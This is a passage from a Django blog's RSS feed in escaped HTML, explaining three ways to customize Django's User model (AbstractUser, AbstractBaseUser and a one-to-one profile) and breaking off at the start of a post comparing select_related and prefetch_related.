style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;PositiveIntegerField(verbose_name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;credits&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        default&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        blank&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;After creating a new class that inherits from &lt;em&gt;AbstractUser&lt;/em&gt;, we need to tell Django that we want to use this new model instead of the default user model.&lt;/p&gt;&#xA;&lt;p&gt;We set this behavior in our configuration file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;AUTH_USER_MODEL &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;users.CustomUser&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;extend-django-user-model-using-the-custom-model-in-djangos-account-views&#34;&gt;Extend Django user model using the custom model in Django&amp;rsquo;s account views&lt;/h3&gt;&#xA;&lt;p&gt;If we want to use the Django template system to automatically generate a registration form, we will need to tell Django to use the new user model, for this we inherit a new form from the &lt;em&gt;UserCreationForm&lt;/em&gt; class, and pass it our custom model, which we can with the &lt;em&gt;get_user_model&lt;/em&gt; method.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.auth &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; get_user_model&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.auth.forms &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; UserCreationForm&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;User &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_user_model()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;RegisterFormForCustomUser&lt;/span&gt;(UserCreationForm):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Meta&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        model &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; User&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fields &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;username&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;email&amp;#39;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;And that&amp;rsquo;s it, we can use it exactly as if we were using the &lt;em&gt;User&lt;/em&gt; model included in Django.&lt;/p&gt;&#xA;&lt;h3 id=&#34;django-admin-does-not-hashed-passwords&#34;&gt;django admin does not hashed passwords&lt;/h3&gt;&#xA;&lt;p&gt;When we use a custom user model, we need to tell Django to handle passwords with the default user functionality&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.auth.admin &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; UserAdmin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.auth &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; get_user_model&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_user_model()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;CustomUserAdmin&lt;/span&gt;(UserAdmin):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;register(user, CustomUserAdmin)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now the admin panel will behave exactly as it would with the default Django user.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-does-abstractuser-look-like-internally&#34;&gt;What does AbstractUser look like internally?&lt;/h3&gt;&#xA;&lt;p&gt;Notice how the &lt;em&gt;AbstractUser&lt;/em&gt; class inherits from _AbstractBaseUse_r and has multiple fields available to profile a user. Also, it cannot be instantiated directly, as it is an abstract class.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-customize-the-user-model-in-django/images/AbstractUserDjango-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-customize-the-user-model-in-django/images/AbstractUserDjango-1.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Django AbstractUser class source code&#34; width=&#34;1079&#34; height=&#34;911&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Screenshot of Django version 4.0 AbstractUser code&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s move on to the second method.&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-to-change-the-user-field-for-authentication-in-django&#34;&gt;How to change the user field for authentication in Django?&lt;/h3&gt;&#xA;&lt;p&gt;If you look at the code above, there is an uppercase property called &lt;em&gt;USERNAME_FIELD&lt;/em&gt;, there you can specify another field to work as the user.&#xA;As you don&amp;rsquo;t want two users to identify themselves in the same way that field has to be marked as unique. Besides that you have to modify the object manager, the code is a bit long so I won&amp;rsquo;t put it here&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;CustomUser&lt;/span&gt;(AbstractUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    custom_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;40&lt;/span&gt;, unique&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    USERNAME_FIELD &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;custom_id&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;extend-django-user-model-inheriting-from-subclass-abstractbaseuser&#34;&gt;Extend Django user model inheriting from subclass AbstractBaseUser&lt;/h2&gt;&#xA;&lt;p&gt;This class, as you can see in the previous image, is the base class used to create the &lt;em&gt;AbstractUser&lt;/em&gt;. Its operation is the minimum and it only has 3 fields:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;password&lt;/li&gt;&#xA;&lt;li&gt;last_login&lt;/li&gt;&#xA;&lt;li&gt;is_active&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;It only has the authentication function. And you have to indicate which field will be used as &lt;em&gt;username&lt;/em&gt;, to authenticate the user.&lt;/p&gt;&#xA;&lt;p&gt;This method is usually used to fully customize the User model or when we need almost no extra fields.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# users/models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.auth.base_user &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; AbstractBaseUser&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;CustomUser&lt;/span&gt;(AbstractBaseUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    email &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;EmailField(verbose_name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;emails&amp;#39;&lt;/span&gt;, unique&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;, max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;255&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    credits &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;PositiveIntegerField(verbose_name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;credits&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        default&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        blank&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    USERNAME_FIELD&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;email&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    REQUIRED_FIELDS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; []&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Remember to tell Django to use your custom model instead of the default one.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;AUTH_USER_MODEL &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;users.CustomUser&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;what-does-abstractbaseuser-look-like-internally&#34;&gt;What does AbstractBaseUser look like internally?&lt;/h3&gt;&#xA;&lt;p&gt;The following image is a direct screenshot of the Django code in version 4.0&lt;/p&gt;&#xA;&lt;p&gt;As you can see, it only has the 3 fields mentioned, it inherits directly from &lt;em&gt;models.Model&lt;/em&gt; and its Meta class tells Python that it is an abstract model; you cannot create instances directly from it.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-customize-the-user-model-in-django/images/AbstractBaseUserDjango-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-customize-the-user-model-in-django/images/AbstractBaseUserDjango-1.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Django AbstractBaseUser class source code&#34; width=&#34;1200&#34; height=&#34;287&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Screenshot of Django AbstractBaseUser version 4.0&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Now let&amp;rsquo;s look at the third way to extend Django&amp;rsquo;s &lt;em&gt;User&lt;/em&gt; model.&lt;/p&gt;&#xA;&lt;h2 id=&#34;extend-django-user-model-creating-a-profile-for-model-user&#34;&gt;Extend Django user model creating a profile for model User&lt;/h2&gt;&#xA;&lt;p&gt;Another way to extend the user model is to &lt;strong&gt;create another model that serves as a container for the extra fields and then relate it by an &lt;em&gt;OneToOneField&lt;/em&gt;&lt;/strong&gt; field to the model that the Django configuration receives by default.&lt;/p&gt;&#xA;&lt;p&gt;This approach is ideal if we are the creator of a package that needs to customize the &lt;em&gt;User&lt;/em&gt; model of the project to work, but without modifying it directly.&lt;/p&gt;&#xA;&lt;p&gt;It is also useful when we need several types of users or different profiles, with different fields between them.&lt;/p&gt;&#xA;&lt;p&gt;To create a profile in this way it is enough to declare a field that relates our new model to the &lt;em&gt;User&lt;/em&gt; model, by means of an &lt;em&gt;OneToOneField&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.conf &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; settings&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Profile&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# other fields&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    user &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;OneToOneField(settings&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;AUTH_USER_MODEL, on_delete&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CASCADE)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And to access our user, we access the field that relates it to the model we created.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; User&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(username&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;user&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Profile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;other-resources&#34;&gt;Other resources&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/django/django/tree/main/django/contrib/auth&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Original source code of the Django User model&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/4.0/topics/auth/customizing/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Django User model documentation&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;In this post I explain three methods to extend or customize Django&amp;rsquo;s &lt;em&gt;User&lt;/em&gt; model, without having to rewrite it from scratch, and keeping all &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;Django&amp;rsquo;s user management features&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;But, before we start, let&amp;rsquo;s see where Django&amp;rsquo;s User model comes from.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Differences between Django select_related and prefetch_related</title>
      <link>https://coffeebytes.dev/en/django/differences-between-django-select_related-and-prefetch_related/</link>
      <pubDate>Wed, 09 Mar 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/differences-between-django-select_related-and-prefetch_related/</guid>
      
      <category>django</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Django&amp;rsquo;s &lt;em&gt;select_related&lt;/em&gt; and &lt;em&gt;prefetch_related&lt;/em&gt; methods &lt;strong&gt;are used to reduce the number of queries made to the database&lt;/strong&gt;. This translates into response time for each view. In addition, using these methods is one of the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/how-to-scale-a-django-app-to-serve-one-million-users/&#34;&gt;actions to implement to improve the performance of a Django application&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Just consider that there are more &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/&#34;&gt;important things to optimize other than your app&amp;rsquo;s performance&lt;/a&gt;&#xA;, but if you insist, dive into annotate and aggregate, and be careful with the nested subqueries of annotate because &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/fix-slow-queries-in-django-when-using-annotate-and-subqueries/&#34;&gt;they can make your django queries go really slow&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;differences-between-django-select_related-and-prefetch_related-summarized&#34;&gt;Differences between django select_related and prefetch_related summarized&lt;/h2&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          